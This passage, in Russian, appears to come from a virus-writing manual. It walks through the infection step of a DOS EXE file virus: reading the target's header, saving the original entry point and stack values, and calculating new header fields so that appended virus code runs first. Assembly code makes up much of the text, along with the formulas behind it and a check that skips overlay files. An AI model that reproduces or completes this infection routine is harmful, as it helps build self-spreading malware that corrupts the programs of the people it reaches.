Производим необходимые вычисления

Читаем заголовок файла

Наш EXE-вирус должен получать управление при старте зараженного файла. С этой целью он может модифицировать заголовок файла,как показано в п. 1.4. Проще всего будет считать заголовок найденной EXE-программы с диска, после чего сделать необходимые изменения и записать его обратно на диск.А так как предыдущий фрагмент вирусной программы уже нашел подходящий EXE - файл, самое время прочитать его заголовок:

mmm: xor cx,cx ;Установим ука- xor dx,dx ;затель на нача- call setpointer ;ло файла. .. mov ah,3fh ;И считаем инте- mov bx,descrypt ;ресующую нас mov cx,27 ;часть заголовка ;в массив " hea- ;der ". Она как lea dx,header ;раз занимает 27 int 21h ;байт... jnc next_step ; jmp restore_dta ;Ошибка чтения !

Работа фрагмента довольно проста и пояснений не требует.

Теперь наша задача состоит в следующем: Используя числа, полученные из заголовка и некоторые вспомогательные данные, рассчитать новые параметры заголовка EXE - программы. Напомним, что необходимо найти:

Новые значения CS0, IP0, SS0 и SP0

Новый остаток от деления размера загрузочного модуля на 512

Новый размер файла в 512 - ти байтовых страницах, округленный в большую сторону

Кроме того, следует найти такое значение указателя, которое обеспечило бы запись вирусного кода в конец файла. Это значение будет исходным для процедуры "setpointer", которая предназначена для установки указателя в файле.

Перед началом вычислений вирус должен "запомнить" исходные параметры заголовка, чтобы можно было использовать их для расчета правильной точки входа и переключения стека с области данных вируса на стек зараженной программы при передаче ей управления:

;Запомним пара- ;метры заголовка ;в переменных ;" old_XX ". .. next_step: mov ax,word ptr header[14h] mov old_ip,ax mov ax,word ptr header[16h] mov old_cs,ax mov ax,word ptr header[0eh] mov old_ss,ax mov ax,word ptr header[10h] mov old_sp,ax

После этого можно приступить к вычислениям. Но сначала следует привести принятые для расчета формулы. Обозначим:

Остаток от деления размера загрузочного модуля на 512 - Исходный : при вычислениях не используется Вычисленный в результате коррекции ( в даль- нейшем - " вычисленный " ) : Header [02h] Размер файла в 512 - ти байтовых страницах - Исходный : File_size Вычисленный : Header [04h] Смещение в параграфах стекового сегмента в загру- зочном модуле - Исходное : SS0 Вычисленное : Header [0eh] Смещение в параграфах кодового сегмента в загру- зочном модуле - Исходное : СS0 Вычисленное : Header [16h] Значение указателя стека SP при передаче управле- ния программе - Исходное : SP0 Вычисленное : Header [10h] Значение указателя команд IP при передаче управле- ния программе - Исходное : IP0 Вычисленное : Header [14h] Размер заголовка в параграфах - Head_size Длина вируса в байтах - Vir_len Старшая часть указателя для записи вируса в конец файла - F_seek_high Младшая часть указателя - F_seek_low.

CS0, IP0, SS0 и SP0 в этих расчетах не используются, но мы сохранили их в выделенных ячейках памяти.

Тогда можно привести такие формулы:

Header [16h] = File_size * 32 - Head_size Header [04h] = (File_size * 512 + Vir_len) / 512 - частное от деления + 0,если остаток равен нулю + 1,если остаток не равен ну- лю Header [02h] = (File_size * 512 + Vir_len) / 512 - остаток от деления Header [14h] = 0 При этом первая исполняемая коман- да вируса будет находиться по адре- су : CS : 0000h, CS = Header [16h]. Header [0eh] = Header [16h], чтобы можно было об- ратиться к стеку вируса,задав в ка- честве SP " расстояние " от начала вирусного кода до последних слов стека. Header [10h] = смещению к New_stack + 96h, послед- нее слагаемое зависит от размера вирусного стека. F_seek_high = File_size * 512 ( High ) F_seek_low = File_size * 512 ( Low )

Все расчеты по приведенным формулам можно выполнить с помощью таких программных строк:

mov ax,word ptr header[04h] mov cl,5 shl ax,cl cmp ax,0f000h jna good_size jmp find_next good_size: mov bp,ax sub ax,word ptr header[08h] mov to_16h,ax ;Это число запи- ;шется в Header ;[16h] mov ax,bp xor dx,dx call mover mov f_seek_low,ax mov f_seek_high,dx cmp dx,word ptr [new_dta + 01ch] jl to_next ja infect cmp ax,word ptr [new_dta + 01ah] jl to_next infect: add ax,vir_len adc dx,0 mov bx,512 div bx cmp dx,0 je round inc ax round: mov to_04h,ax ;Это число запи- ;шется в Header ;[04h] mov to_02h,dx mov word ptr header[02h],dx mov ax,to_04h mov word ptr header[04h],ax mov word ptr header[14h],0 mov ax,to_16h mov word ptr header[16h],ax mov word ptr header[0eh],ax mov word ptr header[10h],offset ds:new_stack + 96 mov sub_ds,10h

В приведенном тексте широко используются команды:

ADC

сложение с переносом. Эта команда определяет сумму задаваемых операндов и прибавляет к ней значение флага переноса CF и

SBB

вычитание с заемом. Команда определяет разность задаваемых операндов и вычитает из нее значение флага CF.

Такие команды потребовались для того, чтобы можно было учесть переполнения, возникающие при работе с файлами длиннее 64 Кбайт. Заметьте, что при разработке COM - вирусов они не применялись вообще. Процедура " mover " заимствована из книги П. Абеля "Язык ассемблера для IBM PC и программирования" и предназначена для умножения двойного слова CX:DX на 16 методом сдвига.

Хотелось бы сказать о том, как наш вирус определяет, содержит ли файл внутренние оверлеи. Для этого он просто сравнивает размер файла в параграфах, полученный из заголовка по смещению 04h с размером, считанным из DTA.Верным признаком присутствия внутренних оверлеев является следующий факт:

Размер, полученный из DTA больше значения, вычисленного по параметрам заголовка. Заражать " оверлейный " файл по принятому нами алгоритму нельзя, и наш вирус при обнаружении такого файла просто попробует найти другую EXE - программу. Сам алгоритм заражения оверлейных файлов отличается высокой сложностью и ненадежностью и в данном пособии не рассматривается. Стоит заметить, что далеко не все вирусы корректно работают с такими файлами, а многие просто их портят.